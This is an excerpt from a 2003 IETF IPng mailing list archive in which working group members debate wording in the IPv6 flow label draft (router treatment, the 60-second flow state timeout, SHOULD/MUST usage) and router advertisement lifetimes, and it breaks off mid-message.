	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 16:13:23 -0800 (PST)
Received: by rsys002a.roke.co.uk with Internet Mail Service (5.5.2653.19)
	id <CN3C0LX8>; Fri, 10 Jan 2003 00:13:22 -0000
Message-ID: <76C92FBBFB58D411AE760090271ED41805DF647E@rsys002a.roke.co.uk>
From: "Hancock, Robert" <robert.hancock@roke.co.uk>
To: Brian E Carpenter <brian@hursley.ibm.com>,
   Thomas Narten
	 <narten@us.ibm.com>
Cc: jarno.rajahalme@nokia.com, ipng@sunroof.eng.sun.com
Subject: RE: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt
Date: Fri, 10 Jan 2003 00:13:21 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Dear all,

A couple of comments on the 'router treatment' and 60s timeout issues:

> > Note: what I would expect this draft to describe is:
> > 
> > 1) what arbitrary source nodes should do with the flow label.
> > 2) what routers should do with the flow label.
> > 
> > The document appears to do 1), but 2) is omitted from the 
> document. Is
> > this OK?  
> 
> IMHO, it's not only OK, it is essential at this stage. There 
> are a number
> of use cases for the flow label - if I even enumerated them here, they
> are controversial enough to start a flame war. The draft has been very
> carefully limited to *avoid* assuming any particular use 
> case. It serves
> two purposes, in my view:
> -- setting globally applicable boundary conditions on what a sending
>    host may and may not do;
> -- making it clear that intermediate systems may use the flow label
>    for packet classification purposes (which means, in particular,
>    that ASIC and network processor designers know that they should
>    include the flow label in the fields potentially used by
>    classifiers).
> Going beyond this point would take us back into the controversy we
> had on this list a year or so ago. So, to repeat, it would *not*
> be OK to attempt to specify what routers should do with the flow
> label.

I sympathise with Brian's caution, but I'd still like to probe if
there is any non-controversial guidance that can be given about routers
treating packets within a single flow somehow "consistently" 
(e.g. keeping to the same outgoing interface in the absence of 
re-routing, avoiding re-ordering and so on). This would be a default 
in the absence of any specific flow state establishment mechanism.
(This type of thing is slightly discussed in 1812, so maybe it's
more of a node requirements topic. I agree there are additional 
subtleties to be considered.)

[snip]
> > 
> > >    Nodes keeping dynamic flow state MUST NOT assume 
> packets arriving 60
> > >    seconds or more after the previous packet of a flow 
> still belong to
> > >    the same flow, unless a flow state establishment method in use
> > >    defines a longer flow state lifetime or the flow state has been
> > >    explicitly refreshed within the lifetime duration.
> > 
> > I'm not entirely comfortable with the above wording. It seems to me,
> > that any node making assumptions about flow values *needs* a flow
> > setup mechanism to go along with it. But if there is such a 
> mechanism,
> > that mechanism can communicate appropriate timer values for 
> timing out
> > state (and the above words are not needed). If there is no such
> > mechanism, what sort of flow-specific processing should 
> assume that a
> > gap of 60 seconds implies a reset in the flow?
> 
> We don't know, and 60 seconds is a compromise value anyway. But there
> seemed to be WG consensus that a default timeout is needed, since
> otherwise we are licensing implementors to create hard state. 
> The authors
> have been round and round this many times, and this was the best we
> could come up with. (more comment on this below)

I agree with Thomas' reasoning, i.e. I can't see under what circumstances 
these words wouldn't be superseded by ones specific to a specific real
FSEM. (In particular, they don't prevent an FSEM mandating hard state
itself anyway.) On the same grounds, I suppose I shouldn't object to the 
words too strongly either.

However, the wording in terms of inter-packet gaps seems to imply an
expectation of implicit flow state refresh, i.e. that flow state will
persist while packets continue to flow, and that a flow-aware forwarding 
engine must be able to support updating a per-flow timer for each packet 
it forwards. Can this really be the intention? Or have I just confused myself?

If we really must have this, how about something like

Nodes keeping dynamic flow state MUST flush it after 60 seconds,
unless it is maintained by whatever refresh method is associated with the
corresponding flow state establishment mechanism, whose specification may also
redefine the 60 second default flow lifetime.

Nit: what actually is 'dynamic flow state'? This is the only place where 'flow state' is qualified like this. Is that significant?

> 
>     Brian
>

Robert H.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 10 01:07:02 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0A97116011786;
	Fri, 10 Jan 2003 01:07:01 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0A971YY011785;
	Fri, 10 Jan 2003 01:07:01 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0A96u16011775
	for <ipng@sunroof.eng.sun.com>; Fri, 10 Jan 2003 01:06:56 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0A974uk003803
	for <ipng@sunroof.eng.sun.com>; Fri, 10 Jan 2003 01:07:04 -0800 (PST)
Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [194.196.100.236])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA28843
	for <ipng@sunroof.eng.sun.com>; Fri, 10 Jan 2003 02:06:58 -0700 (MST)
Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22])
	by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0A96mbd024676;
	Fri, 10 Jan 2003 10:06:48 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay01.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0A96lU4214290;
	Fri, 10 Jan 2003 10:06:47 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA30562 from <brian@hursley.ibm.com>; Fri, 10 Jan 2003 10:06:45 +0100
Message-Id: <3E1E8D00.E93F7F3@hursley.ibm.com>
Date: Fri, 10 Jan 2003 10:06:08 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: Pekka Savola <pekkas@netcore.fi>
Cc: Thomas Narten <narten@us.ibm.com>, jarno.rajahalme@nokia.com,
   ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt
References: <Pine.LNX.4.44.0301091938370.11798-100000@netcore.fi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

below...

Pekka Savola wrote:
> 
> I've decidedly tried getting into the flow label debate, but will do so
> for a few parts.
> 
> In general, I liked many of the Thomas's improvements; IMO, specification
> of flow label itself (with or without RFC2119 keywords), and treatment
> (like that nodes SHOULD label flows) should be more clearly separated.
> 
> Two comments..:
> 
> > > > 2.  IPv6 Flow Label Specification
> > > >
> > > >    The 20-bit Flow Label field in the IPv6 header [IPv6] SHOULD be used
> > > >    by a source to label packets of a flow. A non-zero Flow Label
> > >
> > > Note: I don't think the SHOULD/MUST usage in this document is always
> > > helpful or even correct. It would make sense to go read the defintions
> > > in RFC 2119 as cited.
> >
> > This does mean SHOULD in the 2119 sense - hosts need a valid reason for not
> > doing it.
> > >
> > > This document defines a flow as the three tuple. No "SHOULD" about
> > > it. If a source wants to label a flow, it does so by setting the flow
> > > label. A better wording would be something like:
> > >
> > >     Flows in IPv6 identified by the tuple of the 20-bit Flow Label,
> > >     the IP source address, and the IP destination address in the IPv6
> > >     header.
> >
> > No. We want to say that hosts SHOULD label flows. (Rationale: it's
> > only by this becoming the norm that the flow label can become an effective
> > tool. If only 1% of traffic is labelled, there is no benefit.)
> 
> I think Thomas's text is a very good introduction: if we want to say
> "hosts SHOULD label flows", just add it in a new paragraph after that.

Well, we were strongly asked in Atlanta to shorten and simplify the
document. Now you are asking us to lengthen and complicate it again.
I'd like some guidance from the chairs about this.

> 
> .. similar in some other cases ..
> 
> > > > Security Considerations
> > > >
> > > >    The use of the Flow Label field enables flow classification also in
> > > >    the presence of encryption of IPv6 payloads. This allows the
> > > >    transport header values to remain confidential, which may lessen the
> > > >    possibilities for some forms of traffic analysis. However, the
> > > >    labeling of flows defined in this specification may reveal some
> > > >    structure of communications otherwise concealed by transport mode
> > >
> > > Seems like more could be said here. If use of the flow label allows
> > > special treatment of traffic, aren't there possible theft of service
> > > issues? Or DOS issues, if someone generates traffic trying to
> > > overwhelm a particular flow? What about authorization? Can anyone set
> > > up flows? Are there requirements or issues here that should be
> > > mentioned in Section 4?  This section seems a bit incomplete.
> >
> > Since flow labels are not protected by IPSEC-AH, they can be forged.
> > We should probably state this. However, since the flow is actually
> > identified by the {srce, dest, label} triplet, the theft of service
> > or DOS problem actually requires address spoofing as well as label
> > spoofing (and is prevented by ingress filtering). We should probably say
> > this.
> 
> There are many ways to do theft of service, I guess.
> 
> Assume that node establishes (using some mechanism) a preferred treatment
> for a flow with <src, dest, label> -- particularly meant for e.g. single
> TCP connection.  It can re-use this as much as it wants, getting better
> service.

That's the authorization issue, which I agree should be mentioned
(see the immediately following paragraph in my previous message).

   Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 10 01:12:51 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0A9Cp16011906;
	Fri, 10 Jan 2003 01:12:51 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0A9Coa4011903;
	Fri, 10 Jan 2003 01:12:50 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0A9Cj16011884
	for <ipng@sunroof.eng.sun.com>; Fri, 10 Jan 2003 01:12:45 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0A9Cruk004789
	for <ipng@sunroof.eng.sun.com>; Fri, 10 Jan 2003 01:12:53 -0800 (PST)
Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [194.196.100.235])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA14323
	for <ipng@sunroof.eng.sun.com>; Fri, 10 Jan 2003 01:12:47 -0800 (PST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0A9Cg8T045808;
	Fri, 10 Jan 2003 10:12:43 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0A9CZ1o152142;
	Fri, 10 Jan 2003 10:12:36 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA43674 from <brian@hursley.ibm.com>; Fri, 10 Jan 2003 10:12:33 +0100
Message-Id: <3E1E8E5C.9D0CD40D@hursley.ibm.com>
Date: Fri, 10 Jan 2003 10:11:56 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: "Hancock, Robert" <robert.hancock@roke.co.uk>
Cc: Thomas Narten <narten@us.ibm.com>, jarno.rajahalme@nokia.com,
   ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt
References: <76C92FBBFB58D411AE760090271ED41805DF647E@rsys002a.roke.co.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

below...

"Hancock, Robert" wrote:
> 
> Dear all,
> 
> A couple of comments on the 'router treatment' and 60s timeout issues:
> 
> > > Note: what I would expect this draft to describe is:
> > >
> > > 1) what arbitrary source nodes should do with the flow label.
> > > 2) what routers should do with the flow label.
> > >
> > > The document appears to do 1), but 2) is omitted from the
> > document. Is
> > > this OK?
> >
> > IMHO, it's not only OK, it is essential at this stage. There
> > are a number
> > of use cases for the flow label - if I even enumerated them here, they
> > are controversial enough to start a flame war. The draft has been very
> > carefully limited to *avoid* assuming any particular use
> > case. It serves
> > two purposes, in my view:
> > -- setting globally applicable boundary conditions on what a sending
> >    host may and may not do;
> > -- making it clear that intermediate systems may use the flow label
> >    for packet classification purposes (which means, in particular,
> >    that ASIC and network processor designers know that they should
> >    include the flow label in the fields potentially used by
> >    classifiers).
> > Going beyond this point would take us back into the controversy we
> > had on this list a year or so ago. So, to repeat, it would *not*
> > be OK to attempt to specify what routers should do with the flow
> > label.
> 
> I sympathise with Brian's caution, but I'd still like to probe if
> there is any non-controversial guidance that can be given about routers
> treating packets within a single flow somehow "consistently"
> (e.g. keeping to the same outgoing interface in the absence of
> re-routing, avoiding re-ordering and so on). This would be a default
> in the absence of any specific flow state establishment mechanism.
> (This type of thing is slightly discussed in 1812, so maybe it's
> more of a node requirements topic. I agree there are additional
> subtleties to be considered.)

Right, is there anything we can say that isn't "obvious" in
terms of generic router requirements? Send text!

> 
> [snip]
> > >
> > > >    Nodes keeping dynamic flow state MUST NOT assume
> > packets arriving 60
> > > >    seconds or more after the previous packet of a flow
> > still belong to
> > > >    the same flow, unless a flow state establishment method in use
> > > >    defines a longer flow state lifetime or the flow state has been
> > > >    explicitly refreshed within the lifetime duration.
> > >
> > > I'm not entirely comfortable with the above wording. It seems to me,
> > > that any node making assumptions about flow values *needs* a flow
> > > setup mechanism to go along with it. But if there is such a
> > mechanism,
> > > that mechanism can communicate appropriate timer values for
> > timing out
> > > state (and the above words are not needed). If there is no such
> > > mechanism, what sort of flow-specific processing should
> > assume that a
> > > gap of 60 seconds implies a reset in the flow?
> >
> > We don't know, and 60 seconds is a compromise value anyway. But there
> > seemed to be WG consensus that a default timeout is needed, since
> > otherwise we are licensing implementors to create hard state.
> > The authors
> > have been round and round this many times, and this was the best we
> > could come up with. (more comment on this below)
> 
> I agree with Thomas' reasoning, i.e. I can't see under what circumstances
> these words wouldn't be superseded by ones specific to a specific real
> FSEM. (In particular, they don't prevent an FSEM mandating hard state
> itself anyway.) On the same grounds, I suppose I shouldn't object to the
> words too strongly either.

Exactly, they are apparently harmless and they might prevent some
implementor from doing something stupid (like creating hard state).

> 
> However, the wording in terms of inter-packet gaps seems to imply an
> expectation of implicit flow state refresh, i.e. that flow state will
> persist while packets continue to flow, and that a flow-aware forwarding
> engine must be able to support updating a per-flow timer for each packet
> it forwards. Can this really be the intention? Or have I just confused myself?
> 
> If we really must have this, how about something like
> 
> Nodes keeping dynamic flow state MUST flush it after 60 seconds,
> unless it is maintained by whatever refresh method is associated with the
> corresponding flow state establishment mechanism, whose specification may also
> redefine the 60 second default flow lifetime.

Something like that would be fine for me.

> 
> Nit: what actually is 'dynamic flow state'? This is the only place where 'flow state' is qualified like this. Is that significant?

I think 'dynamic' is a noise word. Again, the concern was to avoid
hard state, but the word can be deleted.

    Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 10 08:31:46 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0AGVk16014758;
	Fri, 10 Jan 2003 08:31:46 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0AGVj8j014757;
	Fri, 10 Jan 2003 08:31:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0AGVg16014750
	for <ipng@sunroof.eng.sun.com>; Fri, 10 Jan 2003 08:31:42 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0AGVquk013498
	for <ipng@sunroof.eng.sun.com>; Fri, 10 Jan 2003 08:31:52 -0800 (PST)
Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA12223
	for <ipng@sunroof.eng.sun.com>; Fri, 10 Jan 2003 08:31:46 -0800 (PST)
Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.17.194.24])
	by e32.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id h0AGVaYk037404;
	Fri, 10 Jan 2003 11:31:37 -0500
Received: from rotala.raleigh.ibm.com (rotala.raleigh.ibm.com [9.27.12.14])
	by westrelay03.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id h0AGVZFU079710;
	Fri, 10 Jan 2003 09:31:35 -0700
Received: from rotala.raleigh.ibm.com (narten@localhost)
	by rotala.raleigh.ibm.com (8.11.6/8.11.6) with ESMTP id h0AGVFP09688;
	Fri, 10 Jan 2003 11:31:15 -0500
Message-Id: <200301101631.h0AGVFP09688@rotala.raleigh.ibm.com>
To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= <jinmei@isl.rdc.toshiba.co.jp>
cc: ipng@sunroof.eng.sun.com
Subject: Re: preferred lifetime > valid lifetime 
In-Reply-To: Message from jinmei@isl.rdc.toshiba.co.jp
   of "Thu, 09 Jan 2003 22:52:36 +0900." <y7v8yxuctwb.wl@ocean.jinmei.org> 
Date: Fri, 10 Jan 2003 11:31:15 -0500
From: Thomas Narten <narten@us.ibm.com>
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> Hmm, so your point is that even if the receiving host ignores the
> prefix, it can still send a packet (whose destination address is
> covered by the prefix) to the router, which will then forward the
> packet back to the link.

Yes.

> There's still an interoperability issue if a non forwarding node sends
> router advertisements with:
>   + the router lifetime being 0
>   + a prefix where valid lifetime < preferred lifetime.

It ought to be a bug if anyone sends out a prefix with valid lifetime
less than preferred. This seems obvious, but the spec could easily say
this somewhere.

> though such a case may be too pathological to be covered in the spec.

> As a result, I tend to agree that it doesn't matter whether the
> receiving host ignores the prefix or not.  However, it would be good
> for routers to have an additional clarification like

>   for each advertised prefix, a router SHOULD ensure that the valid
>   lifetime is not smaller than the valid lifetime.

I'd say MUST. Read the definition of SHOULD. Under what conditions
would it make sense for an implementation to send out a valid lifetime
shorter than preferred? It it doesn't make sense, there is no reason
for the spec to explicitely say its OK to send them out anyway, and
still be compliant with the spec...

Thomas
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 10 08:37:35 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0AGbZ16014915;
	Fri, 10 Jan 2003 08:37:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0AGbY9H014914;
	Fri, 10 Jan 2003 08:37:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0AGbV16014907
	for <ipng@sunroof.eng.sun.com>; Fri, 10 Jan 2003 08:37:31 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0AGbfXq012052
	for <ipng@sunroof.eng.sun.com>; Fri, 10 Jan 2003 08:37:41 -0800 (PST)
Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA12603
	for <ipng@sunroof.eng.sun.com>; Fri, 10 Jan 2003 08:37:35 -0800 (PST)
Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.17.194.24])
	by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id h0AGbQeP068966;
	Fri, 10 Jan 2003 11:37:26 -0500
Received: from rotala.raleigh.ibm.com (rotala.raleigh.ibm.com [9.27.12.14])
	by westrelay03.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id h0AGbJFU045032;
	Fri, 10 Jan 2003 09:37:20 -0700
Received: from rotala.raleigh.ibm.com (narten@localhost)
	by rotala.raleigh.ibm.com (8.11.6/8.11.6) with ESMTP id h0AGaxc09763;
	Fri, 10 Jan 2003 11:36:59 -0500
Message-Id: <200301101636.h0AGaxc09763@rotala.raleigh.ibm.com>
To: Brian E Carpenter <brian@hursley.ibm.com>
cc: jarno.rajahalme@nokia.com, ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt 
In-Reply-To: Message from brian@hursley.ibm.com
   of "Thu, 09 Jan 2003 16:40:21 +0100." <3E1D97E5.AC439497@hursley.ibm.com> 
Date: Fri, 10 Jan 2003 11:36:59 -0500
From: Thomas Narten <narten@us.ibm.com>
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Brian E Carpenter <brian@hursley.ibm.com> writes:

> Thomas Narten wrote:
> > 
> > I reviewed the revised document today. Speaking as an individual, here
> > is my reaction:
> > 
> > > Abstract
> > >
> > >    This document specifies the IPv6 Flow Label field, the requirements
> > >    for IPv6 source nodes labeling flows, and the requirements for flow
> > >    state establishment methods.
> > 
> > Note: what I would expect this draft to describe is:
> > 
> > 1) what arbitrary source nodes should do with the flow label.
> > 2) what routers should do with the flow label.
> > 
> > The document appears to do 1), but 2) is omitted from the document. Is
> > this OK?  

> IMHO, it's not only OK, it is essential at this stage. There are a number
> of use cases for the flow label - if I even enumerated them here, they
> are controversial enough to start a flame war. The draft has been very
> carefully limited to *avoid* assuming any particular use case. It serves
> two purposes, in my view:
> -- setting globally applicable boundary conditions on what a sending
>    host may and may not do;
> -- making it clear that intermediate systems may use the flow label
>    for packet classification purposes (which means, in particular,
>    that ASIC and network processor designers know that they should
>    include the flow label in the fields potentially used by
>    classifiers).
> Going beyond this point would take us back into the controversy we
> had on this list a year or so ago. So, to repeat, it would *not*
> be OK to attempt to specify what routers should do with the flow
> label.

We may be more in agreement than appears. I agree that usage scenarios
should be left out. What I want to be sure about though is that router
implementors have a clear understanding of what they need to
implement, in order to be able to support flows once specific usages
are defined. (Or, please correct me if this is this not a goal here.)

I.e., folks doing hardware today want to know what they are supposed
to do with the Flow Label. They don't want to find themselves later
down the road saying "oops" our hardware can't support that because we
didn't know that's how flows were defined.

It may well be that all that needs to be said is that a flow is
defined by the three tuple, and that implementations need to classify
based on the tuple. What is done to packets that belong to a
particular flow is future work. But the definition of how the
classification is to be done seems important to nail down now. IMO,
the current wording about this could be more clear. But if hardware
folk feel like the current words are sufficiently clear on this, I'm
OK too.

My assumption is that this document is trying to say that classifiers
need to map the three-tuple into a "flow".  Or am I wrong? Is the
document not even wanting to go this far?

> > I.e., I thought the main reason to specify the flow label is
> > so that current implementations can do something sensible with the
> > flow label.  Is there enough guidance for router implementors (e.g.,
> > those doing hardware) to add useful support for the flow label? I'm
> > not sure, but would like to hear from such implementors.

> As I said, there are multiple use cases and IMHO we should get this
> document out and then let the QOS community (not the IPv6 community)
> work on those use cases. Time will tell which ones succeed.

If the point is that how packets of a specific flow are to be
processed needs to be defered to future work, I agree. But if this
also relates to the definition of which packets belong to which flow,
I wonder whether this document achieves anything useful in practice.

> > > 2.  IPv6 Flow Label Specification
> > >
> > >    The 20-bit Flow Label field in the IPv6 header [IPv6] SHOULD be used
> > >    by a source to label packets of a flow. A non-zero Flow Label
> > 
> > Note: I don't think the SHOULD/MUST usage in this document is always
> > helpful or even correct. It would make sense to go read the defintions
> > in RFC 2119 as cited.

> This does mean SHOULD in the 2119 sense - hosts need a valid reason for not
> doing it.
> > 
> > This document defines a flow as the three tuple. No "SHOULD" about
> > it. If a source wants to label a flow, it does so by setting the flow
> > label. A better wording would be something like:
> > 
> >     Flows in IPv6 identified by the tuple of the 20-bit Flow Label,
> >     the IP source address, and the IP destination address in the IPv6
> >     header.

> No. We want to say that hosts SHOULD label flows. (Rationale: it's
> only by this becoming the norm that the flow label can become an effective
> tool. If only 1% of traffic is labelled, there is no benefit.)

Pekka said exactly what I would say here.

> > >    The packet MAY be given some flow-specific treatment based on the
> > >    flow state established on a set of IPv6 nodes. The nature of the
> > 
> > MAY here seems odd too. Again, read the definition of MAY. It suggests
> > that an implementation may decide it makes sense to do something in
> > certain circumstances. But what I think the document is trying to say
> > here is that flow-specific processing is done by entities that have
> > been directed to do so. This is not an implementation choice in the
> > "MAY" sense. It has more to do whether a device implements flows and
> > then whether there is appropriate flow-state. Suggested reword:
> > 
> >     The packet will be processed in a flow-specific manner by those
> >     nodes that have special processing enabled for packets belonging
> >     to a particular flow.

> Agreed, or simply use lower case "may".

agreed too.

> > 
> > Actually, the entire paragraph might be better as:
> > 
> >     IPv6 flows are defined by the tuple of the 20-bit Flow Label, the
> >     IP source address, and the IP destination address in the IPv6
> >     header. Packet classifiers use the tuple to identify which flow a
> >     particular packet belongs to.  Packets will be processed in a
> >     flow-specific manner by those nodes that have special processing
> >     enabled for packets belonging to a particular flow.  A Flow Label
> >     of zero indicates an unlabelled packet that is given no special
> >     treatment.  The nature of the specific treatment and the methods
> >     for the flow state establishment are beyond the scope of this
> >     specification.

> Well, I think we want the SHOULD in there. We mean it.

Make the "SHOULD implement" a separate point from the definition
itself then. And have it refer specifically (for hosts) that they
SHOULD label outgoing packets. That is what I think we are aiming for.

> > >    Nodes keeping dynamic flow state MUST NOT assume packets arriving 60
> > >    seconds or more after the previous packet of a flow still belong to
> > >    the same flow, unless a flow state establishment method in use
> > >    defines a longer flow state lifetime or the flow state has been
> > >    explicitly refreshed within the lifetime duration.
> > 
> > I'm not entirely comfortable with the above wording. It seems to me,

> > that any node making assumptions about flow values *needs* a flow
> > setup mechanism to go along with it. But if there is such a mechanism,
> > that mechanism can communicate appropriate timer values for timing out
> > state (and the above words are not needed). If there is no such
> > mechanism, what sort of flow-specific processing should assume that a
> > gap of 60 seconds implies a reset in the flow?

> We don't know, and 60 seconds is a compromise value anyway. But there
> seemed to be WG consensus that a default timeout is needed, since
> otherwise we are licensing implementors to create hard state. The authors
> have been round and round this many times, and this was the best we
> could come up with. (more comment on this below)

Well, I have a basic problem with a default timeout of 60
seconds. Heck, a temporary routing glitch can cause a loss of traffic
for 60 seconds, yet the TCP sesssion doesn't go away that quickly. So
60 seconds seem like a rather odd compromise value. Seems too short to
me.

> > What problem is the above wording intended to address?

> Use cases that nobody has thought of yet.

I don't understand this answer. If a router does something
flow-specfic for flow X, but then sees no traffic for 60 seconds, the
implication now is that it shouldn't give flow X the same treatement
it was just giving it just 60 seconds ago.

I do remember some discussion on this in the past. But I still don't
feel like I understand the rational. Can someone please summarize or
point me back to a previous thread?

> > >    If an IPv6 node is not providing flow-specific treatment, it MUST
> > >    ignore the field when receiving or forwarding a packet.
> > 
> > Such a node is presumably not implementing this spec, in which case
> > the words seem superfluous... Delete?

> You're too logical :-) But I think this forbids attempts to abuse
> the label as a covert signalling channel, or otherwise use it for
> an unintended purpose. So I'd vote for keeping the sentence, but
> I don't feel strongly.

Not a show stopper to leave in...

> > > 3.  Flow Labeling Requirements
> > >
> > >    To enable Flow Label based classification, sources SHOULD assign each
> > >    unrelated transport connection and application data stream to a new
> > >    flow. The source MAY also take part in flow state establishment
> > >    methods that result in assigning certain packets to specific flows. A
> > >    source which does not assign traffic to flows MUST set the Flow Label
> > >    to zero.
> > 
> > I find the above a bit muddled and incomplete. Here is an attempt at
> > clarifying:

> I object. Your text starts to hint at use cases. I think we should
> absolutely avoid that, and restrict ourselves strictly to setting
> boundary conditions on senders. Also, we agreed earlier to take out
> all the stuff on APIs and picking flow label values. That was part
> of the Grand Simplification of the draft. So I don't agree that the
> paragraph is incomplete with respect to the goals of this document.

Part of my concern with the current text is it says hosts SHOULD set
the flow-label for each Application-level stream. I assume, however,
that this document is aimed at the IP stack, not at individual
applications. I.e., how will someone who implements the stack be able
to use different flow labels for different application stream without
help from the application? Seems like some sort of wording about this
would be good. I'm not saying it even needs to be normative (it
